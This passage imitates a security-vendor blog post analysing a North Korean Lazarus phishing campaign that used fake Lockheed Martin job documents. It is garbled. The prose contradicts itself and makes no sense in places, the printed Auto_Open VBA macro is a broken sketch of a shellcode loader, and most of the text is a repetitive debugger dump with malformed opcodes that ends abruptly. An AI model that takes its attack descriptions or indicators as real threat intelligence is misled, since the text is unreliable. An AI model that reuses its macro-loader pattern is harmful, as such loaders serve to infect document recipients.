North Korea's Lazarus APT leverages Windows Update client, GitHub in latest campaign

Hasan Alrabaee, Director of Malware Intelligence and Research
Jérôme Segura, Lead Malware Intelligence Analyst

Malwarebytes customers are protected against Lazarus APT by the Anti-exploit since since 2005. The Anti-exploit protects the vulnerability that gainfully attempted in the past and can be general protection attempts. The Malwarebytes Threat Intelligence team is actively monitoring for activities and will update this post or the campaign as we learn more.

Lazarus APT is a North Korean state-sponsored cyber-espionage group with malicious documents that are used in their campaigns. Malwarebytes has been following their activities since at least the beginning of 2017 and has published several articles on the group.

In this blog post, we provide technical analysis of the latest attack including a newer use of Windows Update to pull up the malicious payload and GitHub as a command and control server. We have reported this ongoing campaign to the Security Community.

Analysis

The initial infection document seems to be luring the targets about new job opportunities at Lockheed Martin.

- Lockheed_Martin_Job0pportunities.docx
- Salary_Lockheed_Martin_job_opportunities_contractor.doc

Lockheed Martin is a well-known defense contractor based in the US. Its job ads are enough evidence that Lockheed Martin has been used as a campaign around with December 2017 and January 2018. Some of the indicators that shows this attack operated recently are the domains used by the threat actor.

Both of the documents use the same macro and have almost same content. However, the embedded macros but the first attack (Lockheed_Martin_Job0pportunities.doc) leaks information. The payload in the blog is mainly based on the second document (Salary_Lockheed_Martin_job_opportunities_contractor.doc). Both documents are using the same domain (Salary_Lockheed_Martin_job_opportunities_contractor.doc) as the end of the blog.

Figure 1. Decoy Lure

Attack Process

The attacker stage binds the final attack process which we will discuss in detail in this article. The attack starts by executing the malicious macros that are embedded in the Word document. The malware downloads and executes the payload. The payload is a Windows Update client that uses the Windows Update API and provides technical details about various stages of the attack and its payload capabilities.

Figure 2. Attack Process

Macros: Control-flow hijacking through KernelCallbackTable

```
Attribute VB_Name = "ThisDocument"
Sub Auto_Open()
Dim myURL As Long, myArr As Variant, lngCount As Long, i As Long, j As Long, lngRes As Long
'ReadProcessMemory, WriteProcessMemory, CreateProcessA, CreateProcessW
myURL = 4294967295 - 4294967232 - 64 - 1 - 4294967231 - 4294967232
myArr = Array(4294967295, 4294967295, 4294967295, 4294967295, 4294967295, 4294967295, 4294967295, 4294967295)
'Get size of array
lngCount = UBound(myArr) - LBound(myArr) + 1
'Loop through the array and decrypt
For i = LBound(myArr) To UBound(myArr)
    j = myArr(i) - myURL
    myArr(i) = j
Next i
'Allocate memory
lngRes = CreateThread(0, 0, VirtualAlloc(0, lngCount, 4096, 64), VirtualAlloc(0, 0, 4096, 64), 0, 0)
'Wait for thread to finish
Do While GetExitCodeThread(lngRes, lngRes) = 259
    DoEvents
Loop
'Free memory
lngRes = VirtualFree(VirtualAlloc(0, 0, 4096, 64), 0, 32768)
'Copy array to memory
lngRes = RtlMoveMemory(VirtualAlloc(0, lngCount, 4096, 64), VarPtr(myArr(LBound(myArr))), lngCount)
'Create thread to execute code
lngRes = CreateThread(0, 0, VirtualAlloc(0, lngCount, 4096, 64), VirtualAlloc(0, 0, 4096, 64), 0, 0)
End Sub
```

Figure 3. Macros: Loader

The above code uses a very unusual and clever means developed in Vbaste to hijack the control flow and execute malicious code. The attacker uses the definition of the API CreateThreadWin32Thread function from "user32.exe". Then it changes the memory pointers and parameters for calls to "WriteProcessMemory" and "CreateProcessA" functions to point to the "VirtualAlloc" and "RtlMoveMemory" functions.

Another interesting thing happening in the above code is the control flow hijacking through the overload function mechanism of the PE. It calls to KernelCallbackTable function to execute the Process\Thread\Fiber\Interrupt use of the parameter which helps the malware to bypass DEP/ASLR/Stack Protection of PE. For this, overloading the KernelCallbackTable pointer.

```
0:001:0x7ffb7fd01870 EXCEPTION_ACCESS_VIOLATION
ntdll!LdrpDispatchUserCallTarget+0x4a:
00007ffb`7fd01870 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01873 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01876 0f8f0a000000    jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01886 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01889 4d85d2          test r10,r10
0:001:0x7ffb7fd0188c 0f84ffffffff    jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01892 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01895 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01898 0f8fe8ffffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd0189e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd018a1 4d85d2          test r10,r10
0:001:0x7ffb7fd018a4 0f84e7ffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd018aa 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd018ad 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd018b0 0f8fd6ffffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd018b6 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd018b9 4d85d2          test r10,r10
0:001:0x7ffb7fd018bc 0f84cffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd018c2 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd018c5 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd018c8 0f8fb6ffffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd018ce 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd018d1 4d85d2          test r10,r10
0:001:0x7ffb7fd018d4 0f84b7ffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd018da 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd018dd 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd018e0 0f8f9effffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd018e6 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd018e9 4d85d2          test r10,r10
0:001:0x7ffb7fd018ec 0f84a7ffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd018f2 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd018f5 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd018f8 0f8f86ffffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd018fe 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01901 4d85d2          test r10,r10
0:001:0x7ffb7fd01904 0f847fffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd0190a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd0190d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01910 0f8f66ffffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01916 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01919 4d85d2          test r10,r10
0:001:0x7ffb7fd0191c 0f8457ffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01922 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01925 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01928 0f8f46ffffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd0192e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01931 4d85d2          test r10,r10
0:001:0x7ffb7fd01934 0f8437ffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd0193a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd0193d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01940 0f8f26ffffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01946 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01949 4d85d2          test r10,r10
0:001:0x7ffb7fd0194c 0f8427ffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01952 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01955 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01958 0f8f16ffffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd0195e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01961 4d85d2          test r10,r10
0:001:0x7ffb7fd01964 0f8417ffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd0196a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd0196d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01970 0f8f06ffffffff  jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01976 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01979 4d85d2          test r10,r10
0:001:0x7ffb7fd0197c 0f8407ffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01982 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01985 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01988 0f8ff6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd0198e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01991 4d85d2          test r10,r10
0:001:0x7ffb7fd01994 0f84dffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd0199a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd0199d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd019a0 0f8fd6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd019a6 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd019a9 4d85d2          test r10,r10
0:001:0x7ffb7fd019ac 0f84cffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd019b2 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd019b5 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd019b8 0f8fc6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd019be 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd019c1 4d85d2          test r10,r10
0:001:0x7ffb7fd019c4 0f84bffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd019ca 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd019cd 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd019d0 0f8fb6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd019d6 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd019d9 4d85d2          test r10,r10
0:001:0x7ffb7fd019dc 0f84afffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd019e2 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd019e5 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd019e8 0f8fa6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd019ee 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd019f1 4d85d2          test r10,r10
0:001:0x7ffb7fd019f4 0f849fffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd019fa 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd019fd 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01a00 0f8f96fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01a06 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a09 4d85d2          test r10,r10
0:001:0x7ffb7fd01a0c 0f8497fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01a12 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a15 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01a18 0f8f86fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01a1e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a21 4d85d2          test r10,r10
0:001:0x7ffb7fd01a24 0f8487fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01a2a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a2d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01a30 0f8f76fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01a36 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a39 4d85d2          test r10,r10
0:001:0x7ffb7fd01a3c 0f8477fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01a42 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a45 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01a48 0f8f66fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01a4e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a51 4d85d2          test r10,r10
0:001:0x7ffb7fd01a54 0f8467fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01a5a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a5d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01a60 0f8f56fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01a66 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a69 4d85d2          test r10,r10
0:001:0x7ffb7fd01a6c 0f8457fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01a72 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a75 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01a78 0f8f46fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01a7e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a81 4d85d2          test r10,r10
0:001:0x7ffb7fd01a84 0f8447fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01a8a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a8d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01a90 0f8f36fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01a96 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01a99 4d85d2          test r10,r10
0:001:0x7ffb7fd01a9c 0f8437fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01aa2 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01aa5 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01aa8 0f8f26fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01aae 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01ab1 4d85d2          test r10,r10
0:001:0x7ffb7fd01ab4 0f8427fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01aba 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01abd 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01ac0 0f8f16fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01ac6 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01ac9 4d85d2          test r10,r10
0:001:0x7ffb7fd01acc 0f8417fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01ad2 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01ad5 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01ad8 0f8f06fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01ade 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01ae1 4d85d2          test r10,r10
0:001:0x7ffb7fd01ae4 0f8407fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01aea 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01aed 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01af0 0f8ff6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01af6 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01af9 4d85d2          test r10,r10
0:001:0x7ffb7fd01afc 0f84dffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01b02 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b05 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01b08 0f8fd6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01b0e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b11 4d85d2          test r10,r10
0:001:0x7ffb7fd01b14 0f84cffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01b1a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b1d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01b20 0f8fc6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01b26 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b29 4d85d2          test r10,r10
0:001:0x7ffb7fd01b2c 0f84bffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01b32 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b35 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01b38 0f8fb6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01b3e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b41 4d85d2          test r10,r10
0:001:0x7ffb7fd01b44 0f84afffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01b4a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b4d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01b50 0f8fa6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01b56 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b59 4d85d2          test r10,r10
0:001:0x7ffb7fd01b5c 0f849fffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01b62 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b65 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01b68 0f8f96fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01b6e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b71 4d85d2          test r10,r10
0:001:0x7ffb7fd01b74 0f8497fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01b7a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b7d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01b80 0f8f86fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01b86 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b89 4d85d2          test r10,r10
0:001:0x7ffb7fd01b8c 0f8487fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01b92 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01b95 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01b98 0f8f76fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01b9e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01ba1 4d85d2          test r10,r10
0:001:0x7ffb7fd01ba4 0f8477fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01baa 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01bad 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01bb0 0f8f66fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01bb6 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01bb9 4d85d2          test r10,r10
0:001:0x7ffb7fd01bbc 0f8467fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01bc2 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01bc5 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01bc8 0f8f56fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01bce 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01bd1 4d85d2          test r10,r10
0:001:0x7ffb7fd01bd4 0f8457fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01bda 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01bdd 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01be0 0f8f46fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01be6 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01be9 4d85d2          test r10,r10
0:001:0x7ffb7fd01bec 0f8437fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01bf2 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01bf5 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01bf8 0f8f26fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01bfe 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c01 4d85d2          test r10,r10
0:001:0x7ffb7fd01c04 0f8427fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01c0a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c0d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01c10 0f8f16fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01c16 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c19 4d85d2          test r10,r10
0:001:0x7ffb7fd01c1c 0f8417fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01c22 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c25 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01c28 0f8f06fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01c2e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c31 4d85d2          test r10,r10
0:001:0x7ffb7fd01c34 0f8407fffffffff jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01c3a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c3d 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01c40 0f8ff6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01c46 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c49 4d85d2          test r10,r10
0:001:0x7ffb7fd01c4c 0f84dffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01c52 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c55 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01c58 0f8fd6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01c5e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c61 4d85d2          test r10,r10
0:001:0x7ffb7fd01c64 0f84cffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01c6a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c6d 4d3bd1          cmp r10,r9
